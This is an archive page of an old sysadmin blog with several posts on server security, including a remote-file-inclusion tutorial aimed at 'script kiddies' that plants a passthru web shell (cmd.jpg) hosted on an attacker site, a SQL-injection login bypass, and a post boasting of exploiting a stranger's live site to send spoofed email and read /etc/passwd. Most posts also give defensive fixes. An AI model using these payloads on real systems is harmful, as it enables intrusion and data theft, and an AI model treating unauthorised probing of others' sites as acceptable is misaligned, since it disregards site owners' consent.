WordPress Thinks Network Solutions is Stupid

Posted by Nessa | Posted in uncategorized | Posted on 22-04-2010

6

Quick quiz: What does a hosting provider do when they know they’ve messed up and don’t want to deal with the fallout?

You apparently blame WordPress.

Don’t get me wrong here – being behind the scenes of server management for a webhosting company makes you the target of a lot of accusations.  And yes, most of the time when a user’s site gets hacked it’s their own damn fault. But in this case, Network Solutions is apparently trying to push their issues off on WordPress because they don’t want to admit they f***cked up.

Well, WordPress is pissed.  I logged into my dashboard today and the first thing I see in my news feed is:

A web host had a crappy server configuration that allowed people on the same box to read each others’ configuration files, and some members of the “security” press have tried to turn this into a “WordPress vulnerability” story.

To highlight the best part:

I’m not even going to link any of the articles because they have so many inaccuracies you become stupider by reading them.

P.S. Network Solutions, it’s “WordPress” not “Word Press.”

Burned.

In short, Network Solutions acknowledged that most of the problem was due to users’ public_html and wp-config.php files being readable by other users on the server – something which could have easily been caused by the users setting the permissions of those files insecurely. But they took a shot in the dark and said that the problem was caused by WordPress putting cleartext database credentials in the wp-config.php file – something that just about every software developer does, as WordPress states:

WordPress, like all other web applications, must store database connection info in clear text. Encrypting credentials doesn’t matter because the keys have to be stored where the web server can read them in order to decrypt the data. If a malicious user has access to the file system — like they appeared to have in this case — it is trivial to obtain the keys and decrypt the information. When you leave the keys to the door in the lock, does it help to lock the door?

Good point. They also went on to say that a properly configured web server will not allow users to access the files of another user, regardless of file permissions. This is why most hosts have switched to using suPHP or phpsuexec, a technology which Network Solutions was apparently left in the dark on. At least now they seem to be taking responsibility for the problem and are attempting to handle it.

I’m also going to state, based on comments in popular blogs from users that don’t know what the hell they’re talking about, that unless someone has access to view the source of a PHP file, they can’t see the database credentials. PHP files are executed server-side, and only their output is sent to the browser. Since the username and password are stored as variables and are not echoed out anywhere, someone simply calling wp-config.php from a browser can’t access your login data.

You’re probably going to find all kinds of fixes on various sites that this story is covered on, but I’m going to give the same advice I do for all my customers that have had sites hacked:

  • Change your FTP and MySQL user passwords
  • Replace all files on your site from a ‘clean’ backup
  • Make sure the software on your site is up to date
  • Scan your PC for viruses
  • Choose a secure host

Remember that your site can get hacked regardless of who your host is or how secure they are, though your host has to take some level of responsibly for hacks that are caused by their own bad configuration, such as in the case with Network Solutions.

How to Commit Genocide on Annoying Processes

Posted by Nessa | Posted in Uncategorized | Posted on 21-11-2007

17

A few days ago I came across some processes on one of our servers that just wouldn’t die. Even after doing a kill -9 and all that good stuff, more would just keep spawing until there were dozens running on the machine. A head system admin of ours gave me this command, which will mass-kill all alike processes so they don’t have a chance to re-spawn each other.

The processes running were all some form of “init_”, like init_1, init_13, etc. To kill these:

ps aux |grep init_ |awk ‘{print $2}’ |awk ‘{print “kill -9 ” $1}’ | sh -v

The ‘grep init_’ should reflect the common name of all the processes.

Securing the TMP Partition and Tracking Hacks

Posted by Nessa | Posted in Uncategorized | Posted on 16-11-2007

0

Are your temp partitions putting out behind your back? Anyone who’s ever administered a Linux server would know the risk of leaving the /tmp directory unsecured, moreso on a webserver that is shared among multiple websites.

The tmp directory is world-writeable and used by a majority of services on a machine — including the storage of PHP and MySQL session files. One issue that I’ve seen on older servers is that one customer’s poorly-coded website would get exploited and end up downloading a file into the /tmp directory, then have that hack file executed on the server as a nobody-owned process. Hack processes are the easiest to find, as they always have a little something extra.

This should go without saying, but hack processes can run from almost anywhere, not just /tmp. I’m mainly bringing up the tmp directory because it’s the most targeted location for hack files if it isn’t secured properly.

Identifying Hack Processes

To start out, log into your server as root as issue the following command to see all the nobody-owned processes running on the machine. This is assuming that Apache on your webserver runs as ‘nobody’:

root@localhost[~] ps -efw |grep nobody |more

A majority of the output will reflect legitimate Apache processes:

nobody 8748 25841 0 21:35 ? 00:00:00 /usr/local/apache/bin/httpd -DSSL
nobody 8785 25841 0 21:35 ? 00:00:01 /usr/local/apache/bin/httpd -DSSL
nobody 8988 25841 0 21:36 ? 00:00:00 /usr/local/apache/bin/httpd -DSSL

You’ll see that they all have the same parent process ID of ’25841′ and all of the commands look about the same. However, you may see something that looks like this:

nobody 15707 26407 0 11:18 ? 00:00:00 [sh <defunct>]
nobody 15717 1 0 11:18 ? 00:00:04 /usr/bin/perl
nobody 13016 1 0 14:14 ? 00:00:00 /usr/bin/perl

nobody 8988 1 0 21:36 ? 00:00:00 /usr/local/apache/bin/httpd -DSSL -d3

All of these are hack processes. A few things to look for:

- Perl and shell (sh) processes on most systems run as the user that is executing them, not ‘nobody’. If this is true on your system, a nobody-owned perl process is probably a hack

- The parent ID of the process is different than all the others of the same service — these can be easily faked

- For Apache, an extra little switch on the end of the command (../httpd -DSSL -d3) – ‘d3′ is usually the name of the hack file that is being executed through Apache (not always).

Now I know you probably have the urge to kill -9 it, but don’t. Killing a hack process before determining what it is or where it came from is only going to let it happen again.

Tracking the process:

Once you know which processes should not be running, you need to know where they came from. The *easiest* way to track a process is through the lsof command. If you take the process ID (not the parent) and run an lsof it will tell you everything you want to know:

lsof -p 8748

From here I can see that this process is running from a folder in a user’s account. All I need to do now is kill it off, then remove the hack files from that user’s directory and let them know to update their shit.

TMP Directory Hacks

I’ve seen my fair share, but many hack processes will be spawned from the temp partitions of the server (like /tmp, /tmpDIR, /dev/shm), as these are usually set to 777 to allow programs to store their temporary files. When you first look in your TMP directory you’re going to see a lot of stuff — this is normal, but you’ll want to look for nobody-owned files that stand out. Just a hint, some hacks will try to trick you with their names. I have seen many that are named “…” or “httpd” to make them look legitimate, but I know that httpd (the service that runs Apache) should not be in the tmp directory…and that’s what makes it stand out.

Securing the tmp Partition

I’m not going to go too far into this here, because there’s already a very sexy website with this information available.

If you are on a cPanel server, you should run /scripts/securetmp in addition to following the instructions above.

Dun Dun Dunnnnnnnnn

Posted by Nessa | Posted in Uncategorized | Posted on 03-08-2007

3

Just a nice life lesson for my fellow lazy programmers:

I was looking at this site the other day in class while I was researching some crap on sub-netting (which is not one of my high points btw) and I noticed an all-too-obvious URL structure that just screamed “hack me! please!” It’s a pagerank 5 site so I know that it’s getting quite a bit of traffic, so I’m surprised this hasn’t happened enough to the point where the site developer would fix his shit. Probably an example of the worst URL compilation I’ve seen in a while:

http://hiswebsite.com/index.php?page=subnett-2.php

I wrote simple php mailing script called ‘spam-me.php’ and uploaded it to my school space, then ran it off the guy’s site. I think I sent one of my professors an email about how unsatisfied his wife is, simply by tacking on my URL as the page definition:

http://hiswebsite.com/index.php?page=http://students.ecpi.edu/~<omitted>/spam-me.php

It was even better when I was able to view his .htaccess and /etc/passwd files by writing using the passthru function in another script that I ran from his site:

<?php passthru("cat ./.htaccess");
passthru("cat /etc/passwd");

?>

Since I’m a good person I emailed the guy about this little security problem of his. I can’t say he took it very well (it was more like someone killed his dog and left parts of it bundled up in gift wrapping on his doorstep), but the next day he took his site down. I made a point to mention that this wouldn’t have happened if he:

  1. Used the file_exists() function to specify what filenames can be presented in his URL
  2. Had mod_security installed so I couldn’t view his .htaccess
  3. Maybe disable allow_url_fopen so my site couldn’t be called as an include
  4. Had open_basedir protection so his system files can’t be accessed by php

Worse case I could have sent out a school-wide email offering penis enlargement pills, and then execute a root kit on his server. But then again, I’m a nice person, remember?

Script Kiddy Killjoy

Posted by Nessa | Posted in Uncategorized | Posted on 22-01-2007

1

If your site has ever been hacked, it will have most likely showed up in the zone-h database. This is the site where all the little script kiddies get together to brag about their “hacking” skills and such. Basically, whenever they deface a site they report it to zone-h, who then check to make sure they aren’t full of shizit. Well, in efforts to keep the script-kiddies from getting credit, I’ve devised discovered a way to make sure that zone-h’s bots can’t check the submissions. All you have to do is add this to your root .htaccess file:

<Files 403.shtml>
order allow,deny
allow from all
</Files>

# zone-h
deny from .zone-h.org
deny from .zone-h.com
deny from 213.219.122.

# cyber-warrior.org
deny from .cyber-warrior.org
deny from .cyber-security.org
deny from 80.237.211.8

The Basic MySQL Injection

Posted by Nessa | Posted in Uncategorized | Posted on 17-01-2007

7

Ahhhh the classic hack that doesn’t work anymore… which is why I’m posting it here. I always thought it was kind of an interesting concept but no one ever made it simple for me, so I shall do this for you.

How to do a simple MySQL Injection

Ok, so this is your basic PHP login script that asks for your username and password, which would then query the database to authenticate you:

$user = $_POST["username"];
$pass = $_POST["password"];
$query = mysql_query(“SELECT * FROM users WHERE user=’$user’ AND password=’$password’”);
$rows = mysql_fetch_row($query);
if ($rows == 0) {
die (‘Login Incorrect!’); }

Assuming that register_globals are enabled on the server, this script will work and in return use the POST variable to query the database for an already-defined row to see if both conditions are being met, which are obviously the username/password fields. If the input does not meet this requirement, then the connection dies and returns the “Login Incorrect” error. So assume I log in with the username “nessa” and the password “sexy.” The $query string will pass this command to MySQL:

$query = mysql_query("SELECT * FROM users WHERE user='nessa' AND password=" OR"=' OR '1'='1'");

Since I used the OR clause in the password field, that can leave a few possibilities up to the database to determine whether a statement is true or false. As you can see, will always be equal to , and 1 is always equal to 1, so MySQL is happy as long as these requirements are met.

So what does that tell you? You can easily replace either the username or password fields withe a or a ” OR 1 and you will have a successful login each time. Of course there are a lot more combinations that will work — you might want to check out this site:

http://www.justinshattuck.com/?p=156&akst_action=share-this

Now seeing that this site is powered by PHP and MySQL, you probably think I’m stupid by posting this. Well quite frankly, MySQL injections are old and nearly impossible with well-scripted PHP software and good PHP environment. If you’re running a custom script or old software, here’s how you can protect your crappy software from being exploited:
Check your magic quotes setting in php.ini or .htaccess:

magic_quotes_gpc should be turned on, as this automatically slash-escapes your codes so MySQL is less likely to make a false positive. As of PHP4, this setting is enabled by default.

If you don’t want to use magic quotes, use mysql_real_escape_string():

Here’s a simple script you can use as an include to automatically escape null characters:

// Quote variable to make safe
function quote_smart($value
)
{
// Stripslashes
if (get_magic_quotes_gpc
()) {
$value = stripslashes($value
);
}
// Quote if not integer
if (!is_numeric($value
)) {
$value = “‘” . mysql_real_escape_string($value) . “‘”
;
}
return
$value
;
}
?>

And the obvious, if you’re using bundled software make sure you keep it up to date. New exploits are being found all the time, so don’t put yourself out there by not updating your shit.


PHP Injections for Dummies

Posted by Nessa | Posted in Uncategorized | Posted on 30-12-2006

7

This is a basic tutorial on how to do a simple PHP injection, for all you n00bish script kiddies

UPDATE:  FYI, since the release of php 5.2.1, this post mainly applies to earlier versions since remote includes will be disabled in all future releases unless specifically allowed in php.ini.

So basically, a PHP injection is a way of slipping your code in with someone else’s, while making the server think it is legit. Take a common php-formatted URL:

http://v-nessa.net/index.php?page=mypage.php

You need to understand what this URL is doing — basically, it is calling on the index.php page, but the ? lets the server know that there is a command string following, in this case a page specification of mypage.php. ? Acts as an include by pulling the contents of a specified file into index.php. There’s what my index.php file looks like:

<?php include ('header.php');

include($page) //this is the page we are calling in the URL ?>

Now, the index.php?page= syntax is the worse case scenario — it will allow you to include the contents of any page into index.php. Do you get where I’m going with this?

An easy example and test is to take your vulnerable page and append an extra URL to it, for example, google.com. So my URL will look like this:

http://v-nessa.net/index.php?page=http://google.com

If you see Google show up anywhere on the page, then congratulations, you found a leak in the code. Now, knowing that you can pull any file into the URL and have it posted in index.php, I’m sure your mind is wandering with possibilies. Why don’t we try the .htaccess?

http://v-nessa.net/index.php?page=.htaccess

Or if you’re feeling daring you could probably even grab the master passwd file on the server:

http://v-nessa.net/index.php?page=/etc/passwd

But don’t get your hopes on on that one… most servers use open base_dir protection with Apache to keep php from going where it shouldn’t go.

Now thank we know the basics, let’s have some fun!

Using something like Notepad, create a text file and save it as a cmd.jpg in ANSI coding, and upload it to your server:

<?php passthru($cmd); ?>

Now go back to the vulnerable page, but add your file’s URL to the end:

http://v-nessa.net/index.php?page=http://hackersite.com/cmd.jpg

Now you can append commands the end of the URL to run Linux commands in the browser. Yes, Linux commands — meaning you now have free reign to the user’s directories, especially ones that are stupidly set to 666 or 777. You can pretty much do anything, like create files/folders, write scripts, download more files, and maybe even delete a few. Here’s the syntax:

http://v-nessa.net/index.php?page=http://hackersite.com/cmd.jpg?cmd=mkdir weeeeeeee

*sigh* Now I have to tell you how to prevent this. In a nutshell:

1. Install mod_security into Apache and make sure your rulesets accomodate the php software you have installed, including access to sensitive files like .htaccess and .htpasswd. This means when those files are called in a browser the server will deny the request.

2. Turn register_globals of for php. It shouldn’t be on anyways.

3. You’ll probably want to add a file exists() function, which will make sure that any included files exist locally.

4. Turn off url Fopen in php.ini or .htaccess, but beware, because some software requires this to work.

UPDATE: Since php 5.2.1, remote includes are no longer enabled without the php.ini directive for allow_url_include. Read Post

5. Make sure you have open base_dir protection enabled in Apache so PHP can’t access files outside the user directory.

6. And the big DUH! Keep your software up to date and refrain from making any folders or files on your site writeable by the “everyone else” group without taking the proper measures to protect them.